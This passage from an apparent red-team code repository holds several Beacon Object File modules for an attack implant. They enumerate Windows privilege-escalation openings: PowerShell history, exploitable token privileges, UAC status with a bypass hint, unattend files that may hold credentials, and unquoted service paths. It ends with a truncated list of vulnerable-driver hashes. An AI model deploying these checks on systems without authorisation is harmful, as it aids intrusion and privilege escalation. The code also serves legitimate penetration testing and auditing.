BeaconPrintf(CALLBACK_OUTPUT, \"  PrivCheck - Complete\\n\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"========================================\\n\");\n}\n"
  },
  {
    "path": "SAL-BOF/privcheck/pshistory.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n\nvoid go() {\n    char szPath[MAX_PATH];\n    char szAppData[MAX_PATH];\n    DWORD dwSize = 0;\n    HANDLE hFile = INVALID_HANDLE_VALUE;\n    LARGE_INTEGER liFileSize;\n    int i = 0;\n    int j = 0;\n\n    const char* pszSubPath = \"\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadLine\\\\ConsoleHost_history.txt\";\n\n    dwSize = KERNEL32$GetEnvironmentVariableA(\"APPDATA\", szAppData, sizeof(szAppData));\n    if (dwSize == 0 || dwSize >= sizeof(szAppData)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY] Failed to get APPDATA path. Error: %lu\\n\", KERNEL32$GetLastError());\n        return;\n    }\n\n    i = 0;\n    while (szAppData[i] != '\\0' && i < MAX_PATH - 1) {\n        szPath[i] = szAppData[i];\n        i++;\n    }\n\n    j = 0;\n    while (pszSubPath[j] != '\\0' && i < MAX_PATH - 1) {\n        szPath[i] = pszSubPath[j];\n        i++;\n        j++;\n    }\n    szPath[i] = '\\0';\n\n    hFile = KERNEL32$CreateFileA(szPath, GENERIC_READ,\n        FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,\n        FILE_ATTRIBUTE_NORMAL, NULL);\n\n    if (hFile == INVALID_HANDLE_VALUE) {\n        DWORD dwErr = KERNEL32$GetLastError();\n        if (dwErr == ERROR_FILE_NOT_FOUND || dwErr == ERROR_PATH_NOT_FOUND) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY] PowerShell history file not found\\n\");\n            BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY]   Path: %s\\n\", szPath);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY] Error accessing file. Error: %lu\\n\", dwErr);\n        }\n        return;\n    }\n\n    liFileSize.QuadPart = 0;\n    KERNEL32$GetFileSizeEx(hFile, &liFileSize);\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY] PowerShell history file found!\\n\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY]   Path: %s\\n\", szPath);\n\n    if (liFileSize.QuadPart >= 1048576) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY]   Size: %lu MB\\n\", (DWORD)(liFileSize.QuadPart / 1048576));\n    } else if (liFileSize.QuadPart >= 1024) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY]   Size: %lu KB\\n\", (DWORD)(liFileSize.QuadPart / 1024));\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY]   Size: %lu bytes\\n\", (DWORD)liFileSize.QuadPart);\n    }\n\n    if (liFileSize.QuadPart == 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY] History file is empty\\n\");\n    }\n\n    KERNEL32$CloseHandle(hFile);\n}\n"
  },
  {
    "path": "SAL-BOF/privcheck/tokenprivileges.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n\nBOOL IsVulnerable(char * privilegeNameBuffer) {\n    // Define known vulnerable privileges\n    static const char * KnownVulnerable[] = {\n            \"SeAssignPrimaryToken\",\n            \"SeBackupPrivilege\",\n            \"SeCreateTokenPrivilege\",\n            \"SeRestorePrivilege\",\n            \"SeDebugPrivilege\",\n            \"SeImpersonatePrivilege\",\n            \"SeLoadDriverPrivilege\",\n            \"SeManageVolumePrivilege\",\n            \"SeTcbPrivilege\",\n            \"SeTakeOwnershipPrivilege\",\n            NULL\n    };\n\n    int i = 0;\n\n    while (KnownVulnerable[i]) {\n        if (MSVCRT$_stricmp(KnownVulnerable[i], privilegeNameBuffer) == 0) {\n            return TRUE;\n        }\n        i++;\n    }\n    return FALSE;\n}\n\nvoid DisplayPrivileges(TOKEN_PRIVILEGES* tokenPrivileges) {\n    for (DWORD i = 0; i < tokenPrivileges->PrivilegeCount; ++i) {\n        LUID privilegeLuid = tokenPrivileges->Privileges[i].Luid;\n        char privilegeNameBuffer[256];\n        DWORD bufferSize = sizeof(privilegeNameBuffer);\n        if (ADVAPI32$LookupPrivilegeNameA(NULL, &privilegeLuid, privilegeNameBuffer, &bufferSize)) {\n            BOOL isEnabled = (tokenPrivileges->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED) == SE_PRIVILEGE_ENABLED;\n            BOOL isVulnerable = IsVulnerable(privilegeNameBuffer);\n            BeaconPrintf(CALLBACK_OUTPUT,\"[PRIVILEGE] %s: %s %s\\n\", privilegeNameBuffer, isEnabled ? \"Enabled\" : \"Disabled\", isVulnerable ? \"- Vulnerable\" : \"\");\n        }\n    }\n}\n\nvoid go() {\n    HANDLE tokenHandle;\n    if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &tokenHandle)) {\n        BeaconPrintf(CALLBACK_OUTPUT,\"[PRIVILEGE] Failed to open process token. Error: %lu\\n\", KERNEL32$GetLastError());\n        return;\n    }\n\n    DWORD tokenInfoSize = 0;\n    ADVAPI32$GetTokenInformation(tokenHandle, TokenPrivileges, NULL, 0, &tokenInfoSize);\n    if (tokenInfoSize == 0) {\n        BeaconPrintf(CALLBACK_OUTPUT,\"[PRIVILEGE] Failed to get token information size. Error: %lu\\n\", KERNEL32$GetLastError());\n        goto cleanup;\n    }\n\n    PTOKEN_PRIVILEGES tokenPrivileges = (PTOKEN_PRIVILEGES)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, tokenInfoSize);\n    if (!tokenPrivileges) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[PRIVILEGE] Memory allocation failed.\\n\");\n        goto cleanup;\n    }\n    if (!ADVAPI32$GetTokenInformation(tokenHandle, TokenPrivileges, tokenPrivileges, tokenInfoSize, &tokenInfoSize)) {\n        BeaconPrintf(CALLBACK_OUTPUT,\"[PRIVILEGE] Failed to get token privileges. Error: %lu\\n\", KERNEL32$GetLastError());\n        goto cleanup;\n    }\n\n    DisplayPrivileges(tokenPrivileges);\n\n    cleanup:\n        if (tokenPrivileges) {\n            KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, tokenPrivileges);\n        }\n        if (tokenHandle) {\n            KERNEL32$CloseHandle(tokenHandle);\n        }\n}"
  },
  {
    "path": "SAL-BOF/privcheck/uacstatus.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n\nvoid go() {\n    HKEY hKey = NULL;\n    LONG lResult = 0;\n    DWORD dwEnableLUA = 0;\n    DWORD dwConsentPrompt = 0;\n    DWORD dwSecureDesktop = 0;\n    DWORD dwSize = sizeof(DWORD);\n    DWORD dwType = 0;\n    HANDLE hToken = NULL;\n    DWORD dwIntegrityLevel = 0;\n    PTOKEN_MANDATORY_LABEL pTIL = NULL;\n    PTOKEN_GROUPS pTokenGroups = NULL;\n    DWORD dwLengthNeeded = 0;\n    HANDLE hHeap = NULL;\n    BOOL bIsAdmin = FALSE;\n    BOOL bIsElevated = FALSE;\n    PSID pAdminSid = NULL;\n\n    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;\n\n    lResult = ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE,\n        \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\",\n        0, KEY_READ, &hKey);\n\n    if (lResult != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Failed to open registry key. Error: %ld\\n\", lResult);\n        return;\n    }\n\n    dwSize = sizeof(DWORD);\n    lResult = ADVAPI32$RegQueryValueExA(hKey, \"EnableLUA\", NULL, &dwType, (LPBYTE)&dwEnableLUA, &dwSize);\n    if (lResult == ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] UAC Enabled (EnableLUA): %s\\n\", dwEnableLUA ? \"Yes\" : \"No\");\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] UAC Enabled (EnableLUA): Unknown (not found)\\n\");\n    }\n\n    dwSize = sizeof(DWORD);\n    lResult = ADVAPI32$RegQueryValueExA(hKey, \"ConsentPromptBehaviorAdmin\", NULL, &dwType, (LPBYTE)&dwConsentPrompt, &dwSize);\n    if (lResult == ERROR_SUCCESS) {\n        const char* desc = \"Unknown\";\n        switch (dwConsentPrompt) {\n            case 0: desc = \"Elevate without prompting\"; break;\n            case 1: desc = \"Prompt for credentials on secure desktop\"; break;\n            case 2: desc = \"Prompt for consent on secure desktop\"; break;\n            case 3: desc = \"Prompt for credentials\"; break;\n            case 4: desc = \"Prompt for consent\"; break;\n            case 5: desc = \"Prompt for consent for non-Windows binaries\"; break;\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] ConsentPromptBehaviorAdmin: %lu (%s)\\n\", dwConsentPrompt, desc);\n    }\n\n    dwSize = sizeof(DWORD);\n    lResult = ADVAPI32$RegQueryValueExA(hKey, \"PromptOnSecureDesktop\", NULL, &dwType, (LPBYTE)&dwSecureDesktop, &dwSize);\n    if (lResult == ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] PromptOnSecureDesktop: %s\\n\", dwSecureDesktop ? \"Yes\" : \"No\");\n    }\n\n    ADVAPI32$RegCloseKey(hKey);\n    hKey = NULL;\n\n    if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &hToken)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Failed to open process token. Error: %lu\\n\", KERNEL32$GetLastError());\n        return;\n    }\n\n    hHeap = KERNEL32$GetProcessHeap();\n\n    dwLengthNeeded = 0;\n    ADVAPI32$GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLengthNeeded);\n    if (dwLengthNeeded > 0) {\n        pTIL = (PTOKEN_MANDATORY_LABEL)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwLengthNeeded);\n        if (pTIL) {\n            if (ADVAPI32$GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLengthNeeded, &dwLengthNeeded)) {\n                PUCHAR pCount = ADVAPI32$GetSidSubAuthorityCount(pTIL->Label.Sid);\n                if (pCount && *pCount > 0) {\n                    PDWORD pLevel = ADVAPI32$GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(*pCount - 1));\n                    if (pLevel) {\n                        dwIntegrityLevel = *pLevel;\n                    }\n                }\n            }\n        }\n    }\n\n    if (dwIntegrityLevel < SECURITY_MANDATORY_LOW_RID) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Integrity Level: Untrusted\\n\");\n    } else if (dwIntegrityLevel < SECURITY_MANDATORY_MEDIUM_RID) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Integrity Level: Low\\n\");\n    } else if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Integrity Level: Medium\\n\");\n    } else if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID && dwIntegrityLevel < SECURITY_MANDATORY_SYSTEM_RID) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Integrity Level: High (Elevated)\\n\");\n        bIsElevated = TRUE;\n    } else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Integrity Level: System\\n\");\n        bIsElevated = TRUE;\n    }\n\n    if (!ADVAPI32$AllocateAndInitializeSid(&NtAuthority, 2,\n            SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,\n            0, 0, 0, 0, 0, 0, &pAdminSid)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Failed to create Admin SID. Error: %lu\\n\", KERNEL32$GetLastError());\n        goto cleanup;\n    }\n\n    dwLengthNeeded = 0;\n    ADVAPI32$GetTokenInformation(hToken, TokenGroups, NULL, 0, &dwLengthNeeded);\n    if (dwLengthNeeded > 0) {\n        pTokenGroups = (PTOKEN_GROUPS)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwLengthNeeded);\n        if (pTokenGroups) {\n            if (ADVAPI32$GetTokenInformation(hToken, TokenGroups, pTokenGroups, dwLengthNeeded, &dwLengthNeeded)) {\n                for (DWORD i = 0; i < pTokenGroups->GroupCount; i++) {\n                    if (ADVAPI32$EqualSid(pAdminSid, pTokenGroups->Groups[i].Sid)) {\n                        bIsAdmin = TRUE;\n                        break;\n                    }\n                }\n            }\n        }\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Local Admin Group Member: %s\\n\", bIsAdmin ? \"Yes\" : \"No\");\n\n    if (bIsElevated) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Process is running with elevated privileges\\n\");\n    } else if (bIsAdmin && dwEnableLUA) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] User is local admin but NOT elevated (UAC filtered token)\\n\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] UAC bypass may be possible\\n\");\n    } else if (bIsAdmin && !dwEnableLUA) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] User is local admin and UAC is disabled\\n\");\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] User is NOT a local admin\\n\");\n    }\n\ncleanup:\n    if (pAdminSid) ADVAPI32$FreeSid(pAdminSid);\n    if (pTokenGroups) KERNEL32$HeapFree(hHeap, 0, pTokenGroups);\n    if (pTIL) KERNEL32$HeapFree(hHeap, 0, pTIL);\n    if (hToken) KERNEL32$CloseHandle(hToken);\n    if (hKey) ADVAPI32$RegCloseKey(hKey);\n}\n"
  },
  {
    "path": "SAL-BOF/privcheck/unattendfiles.c",
    "content": "#include <stdio.h>\n#include <windows.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n\nvoid go() {\n    char szWinDir[MAX_PATH * 2];\n    int NumOfFoundFiles = 0;\n    HANDLE hFile;\n\n    // Resolve Windows Directory path\n    if (KERNEL32$GetWindowsDirectoryA(szWinDir, sizeof(szWinDir)) == 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UNATTEND_FILES] Failed to resolve Windows directory\\n\");\n        return;\n    }\n\n    // List of common Unattend Setup Files\n    static const char * UnattendFiles[] = {\n            \"\\\\sysprep\\\\sysprep.xml\",\n            \"\\\\sysprep\\\\sysprep.inf\",\n            \"\\\\sysprep.inf\",\n            \"\\\\Panther\\\\Unattended.xml\",\n            \"\\\\Panther\\\\Unattend.xml\",\n            \"\\\\Panther\\\\Unattend\\\\Unattend.xml\",\n            \"\\\\Panther\\\\Unattend\\\\Unattended.xml\",\n            \"\\\\System32\\\\Sysprep\\\\unattend.xml\",\n            \"\\\\System32\\\\Sysprep\\\\Panther\\\\unattend.xml\",\n            NULL\n    };\n\n    // Iterate over each potential file\n    for (int i = 0; UnattendFiles[i] != NULL; i++) {\n        char FullPath[MAX_PATH * 2];\n\n        // Prepend the Windows directory to the path\n        USER32$wsprintfA(FullPath, \"%s%s\", szWinDir, UnattendFiles[i]);\n\n        // Check if file exists\n        hFile = KERNEL32$CreateFileA(FullPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n        if (hFile != INVALID_HANDLE_VALUE) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[UNATTEND_FILES] Unattend file found: %s\\n\", FullPath);\n            NumOfFoundFiles++;\n            KERNEL32$CloseHandle(hFile);\n        }\n\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"[UNATTEND_FILES] Found a total of %d unattend files\\n\", NumOfFoundFiles);\n}\n"
  },
  {
    "path": "SAL-BOF/privcheck/unquotedsvcpath.c",
    "content": "#include <windows.h>\n#include <string.h>\n#include <shlwapi.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n\n\nvoid go() {\n    HKEY servicesKey;\n    BOOL foundVulnerablePath = FALSE;\n    if (ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\\", 0, KEY_READ, &servicesKey) == ERROR_SUCCESS) {\n        char serviceSubkeyName[256];\n        DWORD subkeyIndex = 0;\n        DWORD subkeyNameSize = sizeof(serviceSubkeyName);\n        while (TRUE) {\n            subkeyNameSize = sizeof(serviceSubkeyName);\n            if (ADVAPI32$RegEnumKeyExA(servicesKey, subkeyIndex++, serviceSubkeyName, &subkeyNameSize, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) {\n                break;\n            }\n                HKEY imagePathKey;\n                if (ADVAPI32$RegOpenKeyExA(servicesKey, serviceSubkeyName, 0, KEY_READ, &imagePathKey) == ERROR_SUCCESS) {\n                    char imagePathValue[1024] = { 0 };\n                    DWORD valueSize = sizeof(imagePathValue);\n                    if (ADVAPI32$RegGetValueA(imagePathKey, NULL, \"ImagePath\", RRF_RT_REG_SZ, NULL, &imagePathValue, &valueSize) != ERROR_SUCCESS) {\n                        ADVAPI32$RegCloseKey(imagePathKey);\n                        continue;\n                    }\n\n                    if (SHLWAPI$StrStrIA(imagePathValue, \" \") == NULL || SHLWAPI$StrStrIA(imagePathValue, \"\\\"\") != NULL) {\n                        ADVAPI32$RegCloseKey(imagePathKey);\n                        continue;\n                    }\n\n                    if (SHLWAPI$StrStrIA(imagePathValue, \"System32\") != NULL ||\n                        SHLWAPI$StrStrIA(imagePathValue, \"SysWow64\") != NULL ||\n                        SHLWAPI$StrStrIA(imagePathValue, \".sys\") != NULL)\n                    {\n                        ADVAPI32$RegCloseKey(imagePathKey);\n                        continue;\n                    }\n\n                    BeaconPrintf(CALLBACK_OUTPUT, \"[SERVICE_PATH] Service '%s' has an unquoted executable path: %s\\n\", serviceSubkeyName, imagePathValue);\n                    foundVulnerablePath = TRUE;\n\n                    ADVAPI32$RegCloseKey(imagePathKey);\n                }\n        }\n        ADVAPI32$RegCloseKey(servicesKey);\n    }\n\n    if (!foundVulnerablePath) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[SERVICE_PATH] No unquoted service paths found\");\n    }\n}"
  },
  {
    "path": "SAL-BOF/privcheck/vulndrivers.h",
    "content": "#include <windows.h>\n#ifndef VULNDRIVERS_H\n#define VULNDRIVERS_H\n\nconst char* VulnerableHashes[] = {\n    \"00143C457C8885FD935FC5D5A6BA07A4\",\n    \"002A58B90A589913A07012253662C98C\",\n    \"003E61358878C7E49E18420EE0B4A37B51880BE40929A76E529C7B3FB18E81B4\",\n    \"005AC9213A8A4A6C421787A7B25C0BC7B9F3B309\",\n    \"00685003005B0B437AF929F0499545E4\",\n    \"006D9D615CDCC105F642AB599B66F94E\",\n    \"007B2C7D72A5A89B424095DBB7F67FF2AEDDB277\",\n    \"008A292F71F49BE1FB538F876DE6556CE7B5603A\",\n    \"009876AB9CF3A3D4E3FC3AFE13AE839E\",\n    \"00B3FF11585C2527B9E1C140FD57CB70B18FD0B775EC87E9646603056622A1FD\",\n    \"00F887E74FAAD40E6E97D9D0E9C71370\",\n    \"010C0E5AC584E3AB97A2DAF84CF436F5\",\n    \"0123C7F12DD7530D55AEE49949FF1FEE911C9689BD04591684AA641882589785\",\n    \"012DB3A80FAF1F7F727B538CBE5D94064E7159DE\",\n    \"013719E840E955C2E4CD9D18C94A2625\",\n    \"016AA643FBD8E10484741436BCACC0D9EEE483C8\",\n    \"0199A59AF05D9986842ECBDEE3884F0C\",\n    \"019C2955E380DD5867C4B82361A8D8DE62346EF91140C95CB311B84448C0FA4F\",\n    \"01A578A3A39697C4DE8E3DAB04DBA55A4C35163E\",\n    \"01B95AE502AA09AABC69A0482FCC8198F7765950\",\n    \"01F092BE2A36A5574005E25368426AD2\",\n    \"0209934453E9CE60B1A5E4B85412E6FAF29127987505BFB1185FC9296C578B09\",\n    \"0215D0681979987FE908FB19DAB83399\",\n    \"022F7AA4D0F04D594588AE9FA65C90BCC4BDA833\",\n    \"02316DECF9E5165B431C599643F6856E86B95E7C\",\n    \"027E10A5048B135862D638B9085D1402\",\n    \"0283B43C6BC965175A1C92B255D39556\",\n    \"0291CED808EAFE406D3D9B56D2FC0C26\",\n    \"0296E2CE999E67C76352613A718E11516FE1B0EFC3FFDB8918FC999DD76A73A5\",\n    \"029C678674F482ABABE8BBFDB93152392457109D\",\n    \"02A1D77EF13BD41CAD04ABCCE896D0B9\",\n    \"02A8B74899591DA7B7F49C0450328D39B939D7E4\",\n    \"02FC655279B8EA3EF37237C488B675CC\",\n    \"0307D76750DD98D707C699AEE3B626643AFB6936\",\n    \"030C8432981E4D41B191624B3E07AFE2\",\n    \"03257294EE74F69881002C4BF764B9CB83B759D6\",\n    \"033C4634AB1A43BC3247384864F3380401D3B4006A383312193799DDED0DE4C7\",\n    \"03680068EC41BBE725E1ED2042B63B82391F792E8E21E45DC114618641611D5D\",\n    \"0395B4E0EB21693590AD1CFDF7044B8B\",\n    \"03A56369B8B143049A6EC9F6CC4EF91AC2775863\",\n    \"03C9D5F24FD65AD57DE2D8A2C7960A70\",\n    \"03CA3B1CFF154AB8855043ABADD07956\",\n    \"0420FA6704FD0590C5CE7176FDADA650\",\n    \"043D5A1FC66662A3F91B8A9C027F9BE9\",\n    \"0452A6E8F00BAE0B79335C1799A26B2B77D603451F2E6CC3B137AD91996D4DEC\",\n    \"045EF7A39288BA1F4B8D6ECA43DEF44F\",\n    \"0466DAC557EE161503F5DFBD3549F81EC760C3D6C7C4363A21A03E7A3F66ACA8\",\n    \"0466E90BF0E83B776CA8716E01D35A8A2E5F96D3\",\n    \"047C06D4D38EA443C9AF23A501C4480D\",\n    \"0484DEFCF1B5AFBE573472753DC2395E528608B688E5C7D1D178164E48E7BED7\",\n    \"0490F5961E0980792F5CB5AEDF081DD7\",\n    \"04A269DD0A03E32E5B2A1C8AB0768791962E040D080D44DC44DAB01DD7954F2B\",\n    \"04FD5EB356F63E2AFC218A32AA7C27C9E9A5C42A\",\n    \"0507D893E3FD2917C81C1DC13CCB22AE5402AB6CA9FB8D89485010838050D08D\",\n    \"05369FA594A033E48B7921018B3263FB\",\n    \"0536C9F15094CA8DDEEF6DEC75D93DC35366D8A9\",\n    \"054299E09CEA38DF2B84E6B29348B418\",\n    \"054A50293C7B4EEA064C91EF59CF120D8100F237\",\n    \"05A6F843C43D75FBCE8E885BB8656AA4\",\n    \"05AC1C64CA16AB0517FE85D4499D08199E63DF26\",\n    \"05B4463677E2566414AD53434AD9E7E5\",\n    \"05BF59560656C8A9A3191812B0E1235B\",\n    \"05E3E9B89EBDCCBE18343652929896813A988D59\",\n    \"05EFF2001F595F9E2894C6B5EEE756AE72379A6D\",\n    \"062CEC364B033D343C46EE64282B632687229790\",\n    \"0634299FC837B47B531E4762D946B2AE\",\n    \"0634878C3F6048A38EC82869D7C6DF2F69F3E210\",\n    \"064847AF77AFCA8A879A9BF34CB87B64B5E69165\",\n    \"06897B431C07886454E0681723DD53E6\",\n    \"06B52BA103412F4AB49FAC7129129C10570FD6FD\",\n    \"06ECF73790F0277B8E27C8138E2C9AD0FC876438\",\n    \"06FFBB2CBF5AC9EF95773B4F5C4C896A\",\n    \"0703C1E07186CB98837A2AE76F50D42E\",\n    \"07493C774AA406478005E8FE52C788B2\",\n    \"0752F113D983030939B4AB98B0812CF0\",\n    \"0761C357AED5F591142EDAEFDF0C89C8\",\n    \"077AA8FF5E01747723B6D24CC8AF460A7A00F30CD3BC80E41CC245CEB8305356\",\n    \"078AE07DEC258DB4376D5A2A05B9B508D68C0123\",\n    \"079627E0F5B1AD1FB3FE64038A09BC6E8B8D289D\",\n    \"0797BB21D7A0210FEDF4F3533EE82494\",\n    \"07AF8C5659AD293214364789DF270C0E6D03D90F4F4495DA76ABC2D534C64D88\",\n    \"07C244739803F60A75D60347C17EDC02D5D10B5D\",\n    \"07D0090C76155318E78A676E2F8AF1500C20AAA1E84F047C674D5F990F5A09C8\",\n    \"07EFB8259B42975D502A058DB8A3FD21\",\n    \"07F60B2B0E56CB15AAD3CA8A96D9FE3A91491329\",\n    \"07F62D9B6321BED0008E106E9CE4240CB3F76DA2\",\n    \"07F83829E7429E60298440CD1E601A6A\",\n    \"07FB2BB6C852F6A6FE982B2232F047E167BE39738BAC26806FFE0927BA873756\",\n    \"07FC1E043654FDDE56DA98D93523635C\",\n    \"0809F48FD30845D983D569B847FA83CF\",\n    \"082C39FE2E3217004206535E271EBD45C11EB072EFDE4CC9885B25BA5C39F91D\",\n    \"082D4D4D4BA1BDA5E1599BD24E930AE9F000E7D12B00F7021CCA90A4600EA470\",\n    \"084A13F18856D610D44D3109A9D2ACDE\",\n    \"084BD27E151FEF55B5D80025C3114D35\",\n    \"085C0EA6980CB93A3AFA076764B7866467AC987C\",\n    \"085D3423F3C12A17119920F1A293AB4D\",\n    \"08828990218EBB4415C1BB33FA2B0A009EFD0784B18B3F7ECD3BC078343F7208\",\n    \"089411E052EA17D66033155F77AE683C50147018\",\n    \"08BAC71557DF8A9B1381C8C165F64520\",\n    \"08C1BCE6627764C9F8C79439555C5636\",\n    \"08E06B839499CB4B752347399DB41B57\",\n    \"08EFD5E24B5EBFEF63B5E488144DC9FB6524EAF1\",\n    \"0904B8FA4654197EEFD6380C81BBB2149FFE0634\",\n    \"091A039F5F2AE1BB0FA0F83660F4C178FD3A5A10\",\n    \"091DF975FA983E4AD44435CA092DBF84911F28A5\",\n    \"09672532194B4BFF5E0F7A7D782C7BF2\",\n    \"09927915ABA84C8ACD91EFDAAC674B86\",\n    \"09B3D078FFA3B4ED0AD2E477A2EE341F\",\n    \"09E77D71D626574E6142894CACA6E6DD\",\n    \"09F117D83F2F206EE37F1EB19EEA576A0AC9BDCC\",\n    \"0A02625927613C9A492A9EAC3EA943DDF6F64028\",\n    \"0A19A9C4C9185B80188DA529EC9C9F45CBE73186\",\n    \"0A2EC9E3E236698185978A5FC76E74E6\",\n    \"0A4E6BD5CC2E9172E461408BE47C3149\",\n    \"0A5EF5B72E621A639860C03F1CAC499567082F39\",\n    \"0A653D9D0594B152CA835D0B2593269F\",\n    \"0A6E0F9F3D7179A99345D40E409895C12919195B\",\n    \"0A89A6AB2FCA486480B6E3DACF392D6CE0C59A5BDB4BCD18D672FEB4EBB0543C\",\n    \"0A89A6F6F40213356487BFCFB0B129E4F6375180\",\n    \"0A9B608461D55815E99700607A52FBDB7D598F968126D38E10CC4293AC4B1AD8\",\n    \"0AC0C21CA05161EAA6A042F347391A2A2FC78C96\",\n    \"0AC31915EC9A6B7D4D4BBA8FE6D60FF7\",\n    \"0ACA4447EE54D635F76B941F6100B829DC8B2E0DF27BDF584ACB90F15F12FBDA\",\n    \"0AD87BBA19F0B71CCB2D32239ABD49EC\",\n    \"0ADC1320421F02F2324E764AA344018758514436\",\n    \"0AECDC0B8208B81B0C37EEF3B0EAEA8D8EBEF42E\",\n    \"0AFF83F28D70F425539FEE3D6A780210D0406264F8A4EB124E32B074E8FFD556\",\n    \"0B01C4C1F18D72EB622BE2553114F32EDFE7B7AA\",\n    \"0B0447072ADA1636A14087574A512C82\",\n    \"0B3836D5D98BC8862A380AAE19CAA3E77A2D93EF\",\n    \"0B542E47248611A1895018EC4F4033EA53464F259C74EB014D018B19AD818917\",\n    \"0B547368C03E0A584AE3C5E62AF3728426C68B316A15F3290316844D193AD182\",\n    \"0B63E76FAD88AC48DBFC7CF227890332FCD994A5\",\n    \"0B77242D4E920F2FCB2B506502CFE3985381DEFC\",\n    \"0B8887921E4A22E24FD058BA5AC40061B4BB569AC7207B9548168AF9D6995E7C\",\n    \"0B8B83F245D94107CB802A285E6529161D9A834D\",\n    \"0BA6AFE0EA182236F98365BD977ADFDF\",\n    \"0BC3685B0B8ADC97931B5D31348DA235CD7581A67EDF6D79913E6A5709866135\",\n    \"0BD1523A68900B80ED1BCCB967643525CCA55D4FF4622D0128913690E6BB619E\",\n    \"0BD164DA36BD637BB76CA66602D732AF912BD9299CB3D520D26DB528CB54826D\",\n    \"0BD3B9F55A2D3A13F506D9D8B970E0DE\",\n    \"0BE4A11BC261F3CD8B4DBFEBEE88C209\",\n    \"0BE5C6476DD58072C93AF4FCA62EE4B3\",\n    \"0BE77BB3720283C9A970A97DAB25D2A312E86110\",\n    \"0BE80DB5D9368FDB29FE9D9BFDD02E7C\",\n    \"0C018EAA293C03FEBE2AEF1E868FCA782A06B49D7D2F9F388AE5FB57604C5250\",\n    \"0C0195C48B6B8582FA6F6373032118DA\",\n    \"0C10FF27F2AB76BBE6DDECE8C1B2CFF05E5483CC\",\n    \"0C42FE45FFA9A9C36C87A7F01510A077DA6340FFD86BF8509F02C6939DA133C5\",\n    \"0C55128C301921CE71991A6D546756AD\",\n    \"0C7F66CD219817EAAB41F36D4BC0D4CD\",\n    \"0C925468C3376458D0E1EC65E097BD1A81A03901035C0195E8F6EF904EF3F901\",\n    \"0CAC0DBAA7ADB7BBA6E92C7CD2D514BE7E86A914\",\n    